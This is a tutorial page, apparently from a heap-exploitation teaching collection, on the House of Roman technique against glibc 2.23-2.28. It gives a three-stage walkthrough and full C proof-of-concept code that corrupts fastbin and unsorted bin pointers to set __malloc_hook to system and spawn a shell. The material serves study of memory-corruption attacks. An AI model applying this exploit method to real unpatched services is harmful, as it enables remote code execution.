Skip to main content

Overview

The House of Roman is a sophisticated leakless heap exploitation technique that achieves remote code execution through a combination of:
  • Fastbin manipulation with relative overwrites
  • Unsorted bin attack on __malloc_hook
  • Relative overwrite to point __malloc_hook to system/one_gadget
This technique is particularly powerful because it doesn’t require information leaks, though it does require brute-forcing 12 bits of entropy (1/4096 or 0.02% success rate).

Glibc Version Compatibility

Compatible with: glibc 2.23 - 2.28
Patched in glibc 2.29+The technique was mitigated by this patch which added additional integrity checks to the unsorted bin.

Requirements

  • UAF or Overflow: Ability to edit fastbin and unsorted bin pointers
  • Heap Control: Good control over allocation sizes and freeing
  • Brute Force: Willingness to brute force 12 bits (0.02% success rate)
  • No Leaks Required: Technique is completely leakless

What It Achieves

The House of Roman allows an attacker to:
  1. Point a fastbin chunk to __malloc_hook without knowing its address
  2. Write a libc pointer to __malloc_hook via unsorted bin attack
  3. Overwrite the libc pointer to point to system or a one-gadget
  4. Gain code execution on the next malloc call

Technical Details

Three-Stage Attack

1

Stage 1: Point Fastbin to __malloc_hook

Create a fastbin chain that eventually points to __malloc_hook using relative overwrites:
  • Allocate chunks with careful alignment
  • Create a fastbin chunk that points to a heap chunk containing a libc pointer
  • Use a single-byte relative overwrite to redirect the fastbin chain
  • Overwrite the libc pointer to point near __malloc_hook (requires 4-bit brute force)
2

Stage 2: Unsorted Bin Attack

Write a libc address to __malloc_hook using the unsorted bin attack:
  • Allocate and free a chunk into the unsorted bin
  • Overwrite the chunk’s bk pointer to point to __malloc_hook - 0x10
  • Trigger the unsorted bin attack by allocating the same size
  • This writes main_arena + 0x68 to __malloc_hook
3

Stage 3: Overwrite to System

Use relative overwrites to change __malloc_hook from main_arena to system/one_gadget:
  • Calculate the offset from main_arena to system (requires 8-bit brute force)
  • Overwrite 2-3 bytes of the __malloc_hook value
  • Next malloc call will execute system or one_gadget

Source Code

The following code demonstrates the House of Roman technique. For educational purposes, the exploit sets random values to make it consistent, but in a real attack, 12 bits would need to be brute-forced.
#define _GNU_SOURCE     /* for RTLD_NEXT */
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>

char* shell = "/bin/sh\x00";

void* init(){
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
}

int main(){
    char* introduction = "\nWelcome to the House of Roman\n\n"
                 "This is a heap exploitation technique that is LEAKLESS.\n"
                 "There are three stages to the attack: \n\n"
                 "1. Point a fastbin chunk to __malloc_hook.\n"
                 "2. Run the unsorted_bin attack on __malloc_hook.\n"
                 "3. Relative overwrite on main_arena at __malloc_hook.\n\n"
                 "All of the stuff mentioned above is done using two main concepts:\n"
                 "relative overwrites and heap feng shui.\n\n"
                 "However, this technique comes at a cost:\n"
                 "12-bits of entropy need to be brute forced.\n"
                 "That means this technique only work 1 out of every 4096 tries or 0.02%.\n";
    puts(introduction);
    init();

    // ========== STAGE 1: Point fastbin chunk to __malloc_hook ==========
    puts("Step 1: Point fastbin chunk to __malloc_hook\n\n");
    puts("Setting up chunks for relative overwrites with heap feng shui.\n");

    // Use this as the UAF chunk later to edit the heap pointer
    uint8_t* fastbin_victim = malloc(0x60);
    malloc(0x80); // Alignment filler
    uint8_t* main_arena_use = malloc(0x80);
    uint8_t* relative_offset_heap = malloc(0x60);
    
    // Free chunk to put it into unsorted_bin with main_arena ptrs
    free(main_arena_use);
    
    // Get part of the unsorted_bin chunk
    puts("Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.\n");
    uint8_t* fake_libc_chunk = malloc(0x60);
    
    // Calculate __malloc_hook for consistent offsets
    long long __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;
    
    // Free chunks to create fastbin chain
    free(relative_offset_heap);
    free(fastbin_victim);
    
    // Relative overwrite: change last byte from 0x90 to 0x00
    puts("Overwrite the first byte to point fastbin chunk to LibC address\n");
    fastbin_victim[0] = 0x00;
    
    // Overwrite main_arena pointer to point near __malloc_hook
    puts("Use a relative overwrite on the main_arena pointer in the fastbin.\n");
    long long __malloc_hook_adjust = __malloc_hook - 0x23;
    int8_t byte1 = (__malloc_hook_adjust) & 0xff;
    int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8;
    fake_libc_chunk[0] = byte1;
    fake_libc_chunk[1] = byte2; // Upper 4 bits need brute force
    
    // Allocate to get the __malloc_hook chunk
    malloc(0x60);
    malloc(0x60);
    uint8_t* malloc_hook_chunk = malloc(0x60);
    puts("Passed step 1 =)\n\n\n");

    // ========== STAGE 2: Unsorted Bin Attack ==========
    puts("Start Step 2: Unsorted_bin attack\n\n");
    
    uint8_t* unsorted_bin_ptr = malloc(0x80);
    malloc(0x30); // Prevent consolidation
    
    puts("Put chunk into unsorted_bin\n");
    free(unsorted_bin_ptr);
    
    // Overwrite bk to point to __malloc_hook - 0x10
    __malloc_hook_adjust = __malloc_hook - 0x10;
    byte1 = (__malloc_hook_adjust) & 0xff;
    byte2 = (__malloc_hook_adjust & 0xff00) >> 8;
    
    puts("Overwrite last two bytes of the chunk to point to __malloc_hook\n");
    unsorted_bin_ptr[8] = byte1;
    unsorted_bin_ptr[9] = byte2;
    
    // Trigger the unsorted bin attack
    puts("Trigger the unsorted_bin attack\n");
    malloc(0x80);
    
    long long system_addr = (long long)dlsym(RTLD_NEXT, "system");
    puts("Passed step 2 =)\n\n\n");

    // ========== STAGE 3: Set __malloc_hook to system ==========
    puts("Step 3: Set __malloc_hook to system/one_gadget\n\n");
    
    malloc_hook_chunk[19] = system_addr & 0xff;
    malloc_hook_chunk[20] = (system_addr >> 8) & 0xff;
    malloc_hook_chunk[21] = (system_addr >> 16) & 0xff;
    malloc_hook_chunk[22] = (system_addr >> 24) & 0xff;
    
    // Trigger execution via __malloc_hook
    puts("Pop Shell!");
    malloc((long long)shell);
}

Walkthrough

The first stage creates a fastbin chain that eventually points to __malloc_hook:
  1. Heap Layout Setup: Allocate chunks with specific offsets to enable single-byte overwrites
  2. Create Libc Pointer: Free a chunk into unsorted bin, then split it to get a chunk with main_arena pointers
  3. Fastbin Chain: Create a fastbin chain: fastbin_victim -> relative_offset_heap
  4. First Relative Overwrite: Change last byte of fastbin_victim’s fd pointer to point to fake_libc_chunk
  5. Second Relative Overwrite: Change fake_libc_chunk’s fd (which points to main_arena) to point near __malloc_hook
  6. Brute Force: The second overwrite requires 4-bit brute force for the upper nibble
The key insight is using the deterministic lower 12 bits of addresses while brute-forcing only 4 bits.
The unsorted bin attack writes a large value (main_arena address) to an arbitrary location:
  1. Allocate and Free: Get a chunk into the unsorted bin
  2. Overwrite bk: Change the chunk’s bk pointer to __malloc_hook - 0x10
  3. Trigger Attack: Allocate the same size chunk
  4. Result: The unsorted bin code writes main_arena + 0x68 to __malloc_hook
After this, __malloc_hook contains a libc address, but it points to main_arena, not system.
The final stage converts the main_arena pointer into a system/one_gadget pointer:
  1. Calculate Offset: Determine the byte difference between main_arena and system
  2. Relative Overwrite: Overwrite 2-3 bytes of the __malloc_hook value
  3. Brute Force: This requires 8 additional bits of brute force (total: 12 bits)
  4. Trigger: Next malloc call executes system or one_gadget
For system, pass /bin/sh as the malloc size argument. For one_gadget, just call malloc with any size.

Entropy and Success Rate

Brute Force Requirements:
  • 4 bits in Stage 1 (1/16 success rate)
  • 8 bits in Stage 3 (1/256 success rate)
  • Total: 12 bits (1/4096 or 0.0244% success rate)
In a real exploit, you would need to attempt the attack multiple times, likely by crashing and restarting the target process.

CTF Challenges

No specific CTF challenges listed for this technique, but it can be applied to challenges requiring leakless exploitation on glibc 2.23-2.28.

References

  • [Fastbin Dup/techniques/fastbin/fastbin-dup) - Basic fastbin manipulation
  • [Unsorted Bin Attack/techniques/bins/unsorted-bin-attack) - Write-what-where primitive
  • House of Orange - Another technique targeting __malloc_hook

Author

Written by Maxwell Dulin (Strikeout)

Build docs developers (and LLMs) love